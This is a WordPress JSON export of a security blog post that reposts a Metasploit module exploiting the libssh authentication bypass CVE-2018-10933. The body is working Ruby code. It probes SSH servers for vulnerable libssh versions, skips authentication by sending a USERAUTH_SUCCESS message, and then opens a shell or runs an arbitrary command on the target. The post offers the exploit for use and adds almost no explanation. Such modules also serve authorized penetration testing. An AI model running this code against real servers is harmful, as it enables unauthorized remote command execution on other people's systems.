{"id":59362,"date":"2024-09-01T21:29:41","date_gmt":"2024-09-01T18:29:41","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181227\/libssh_auth_bypass.rb.txt"},"modified":"2024-09-01T21:29:41","modified_gmt":"2024-09-01T18:29:41","slug":"libssh-authentication-bypass-scanner","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/libssh-authentication-bypass-scanner\/","title":{"rendered":"Libssh Authentication Bypass Scanner"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<\/p>\n<p>include Msf::Exploit::Remote::SSH<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::CommandShell<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Sessions::CreateSessionOptions<br \/>include Msf::Auxiliary::ReportSummary<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;libssh Authentication Bypass Scanner&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits an authentication bypass in libssh server code<br \/>where a USERAUTH_SUCCESS message is sent in place of the expected<br \/>USERAUTH_REQUEST message. libssh versions 0.6.0 through 0.7.5 and<br \/>0.8.0 through 0.8.3 are vulnerable.<\/p>\n<p>Note that this module&#8217;s success depends on whether the server code<br \/>can trigger the correct (shell\/exec) callbacks despite only the state<br \/>machine&#8217;s authenticated state being set.<\/p>\n<p>Therefore, you may or may not get a shell if the server requires<br \/>additional code paths to be followed.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Peter Winter-Smith&#8217;, # Discovery<br \/>&#8216;wvu&#8217; # Module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2018-10933&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.libssh.org\/security\/advisories\/CVE-2018-10933.txt&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2018-10-16&#8217;,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Actions&#8217; =&gt; [<br \/>[&#8216;Shell&#8217;, &#8216;Description&#8217; =&gt; &#8216;Spawn a shell&#8217;],<br \/>[&#8216;Execute&#8217;, &#8216;Description&#8217; =&gt; &#8216;Execute a command&#8217;]],<br \/>&#8216;DefaultAction&#8217; =&gt; &#8216;Shell&#8217;<br \/>))<\/p>\n<p>register_options([<br \/>Opt::RPORT(22),<br \/>OptString.new(&#8216;CMD&#8217;, [false, &#8216;Command or alternative shell&#8217;]),<br \/>OptBool.new(&#8216;SPAWN_PTY&#8217;, [false, &#8216;Spawn a PTY&#8217;, false]),<br \/>OptBool.new(&#8216;CHECK_BANNER&#8217;, [false, &#8216;Check banner for libssh&#8217;, true])<br \/>])<\/p>\n<p>register_advanced_options([<br \/>OptBool.new(&#8216;SSH_DEBUG&#8217;, [false, &#8216;SSH debugging&#8217;, false]),<br \/>OptInt.new(&#8216;SSH_TIMEOUT&#8217;, [false, &#8216;SSH timeout&#8217;, 10])<br \/>])<br \/>end<\/p>\n<p># Vulnerable since 0.6.0 and patched in 0.7.6 and 0.8.4<br \/>def check_banner(ip, version)<br \/>version =~ \/libssh[_-]?([\\d.]*)$\/ &amp;&amp; $1 &amp;&amp; (v = Rex::Version.new($1))<\/p>\n<p>if v.nil?<br \/>vprint_error(&#8220;#{ip}:#{rport} &#8211; #{version} does not appear to be libssh&#8221;)<br \/>Exploit::CheckCode::Unknown<br \/>elsif v.to_s.empty?<br \/>vprint_warning(&#8220;#{ip}:#{rport} &#8211; libssh version not reported&#8221;)<br \/>Exploit::CheckCode::Detected<br \/>elsif v.between?(Rex::Version.new(&#8216;0.6.0&#8217;), Rex::Version.new(&#8216;0.7.5&#8217;)) ||<br \/>v.between?(Rex::Version.new(&#8216;0.8.0&#8217;), Rex::Version.new(&#8216;0.8.3&#8217;))<br \/>vprint_good(&#8220;#{ip}:#{rport} &#8211; #{version} appears to be unpatched&#8221;)<br \/>Exploit::CheckCode::Appears<br \/>else<br \/>vprint_error(&#8220;#{ip}:#{rport} &#8211; #{version} appears to be patched&#8221;)<br \/>Exploit::CheckCode::Safe<br \/>end<br \/>end<\/p>\n<p>def run_host(ip)<br \/>if action.name == &#8216;Execute&#8217; &amp;&amp; datastore[&#8216;CMD&#8217;].blank?<br \/>fail_with(Failure::BadConfig, &#8216;Execute action requires CMD to be set&#8217;)<br \/>end<\/p>\n<p>ssh_opts = ssh_client_defaults.merge({<br \/>port: rport,<br \/># The auth method is converted into a class name for instantiation,<br \/># so libssh-auth-bypass here becomes LibsshAuthBypass from the mixin<br \/>auth_methods: [&#8216;libssh-auth-bypass&#8217;]})<\/p>\n<p>ssh_opts.merge!(verbose: :debug) if datastore[&#8216;SSH_DEBUG&#8217;]\n<p>print_status(&#8220;#{ip}:#{rport} &#8211; Attempting authentication bypass&#8221;)<\/p>\n<p>begin<br \/>ssh = Timeout.timeout(datastore[&#8216;SSH_TIMEOUT&#8217;]) do<br \/>Net::SSH.start(ip, username, ssh_opts)<br \/>end<br \/>rescue Net::SSH::Exception =&gt; e<br \/>vprint_error(&#8220;#{ip}:#{rport} &#8211; #{e.class}: #{e.message}&#8221;)<br \/>return<br \/>end<\/p>\n<p>return unless ssh<\/p>\n<p>version = ssh.transport.server_version.version<\/p>\n<p># XXX: The OOB authentication leads to false positives, so check banner<br \/>if datastore[&#8216;CHECK_BANNER&#8217;]return if check_banner(ip, version) !=<br \/>(Exploit::CheckCode::Appears || Exploit::CheckCode::Detected)<br \/>end<\/p>\n<p>report_vuln(<br \/>host: ip,<br \/>name: self.name,<br \/>refs: self.references,<br \/>info: version<br \/>)<\/p>\n<p>shell = Net::SSH::CommandStream.new(ssh, datastore[&#8216;CMD&#8217;], pty: datastore[&#8216;SPAWN_PTY&#8217;])<\/p>\n<p># XXX: Wait for CommandStream to log a channel request failure<br \/>sleep 0.1<\/p>\n<p>if (e = shell.error)<br \/>print_error(&#8220;#{ip}:#{rport} &#8211; #{e.class}: #{e.message}&#8221;)<br \/>return<br \/>end<\/p>\n<p>print_status(&#8220;Attempting #{action.name.inspect} Action, see \\&#8221;show actions\\&#8221; for more details&#8221;)<br \/>case action.name<br \/>when &#8216;Shell&#8217;<br \/>if datastore[&#8216;CreateSession&#8217;]start_session(self, &#8220;#{self.name} (#{version})&#8221;, {}, false, shell.lsock)<br \/>end<br \/>when &#8216;Execute&#8217;<br \/>output = shell.channel &amp;&amp; (shell.channel[:data] || &#8221;).chomp<\/p>\n<p>if output.blank?<br \/>print_error(&#8220;#{ip}:#{rport} &#8211; Empty or blank command output&#8221;)<br \/>return<br \/>end<\/p>\n<p>print_status(&#8220;#{ip}:#{rport} &#8211; Executed: #{datastore[&#8216;CMD&#8217;]}\\n#{output}&#8221;)<br \/>end<br \/>end<\/p>\n<p>def rport<br \/>datastore[&#8216;RPORT&#8217;]end<\/p>\n<p>def username<br \/>Rex::Text.rand_text_alphanumeric(8..42)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliary include Msf::Exploit::Remote::SSHinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::CommandShellinclude Msf::Auxiliary::Reportinclude Msf::Sessions::CreateSessionOptionsinclude Msf::Auxiliary::ReportSummary def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;libssh Authentication Bypass Scanner&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits an authentication bypass in libssh server codewhere a USERAUTH_SUCCESS message is sent in place of the expectedUSERAUTH_REQUEST message. libssh versions 0.6.0 through &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59362","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59362","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59362"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59362\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59362"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59362"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59362"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}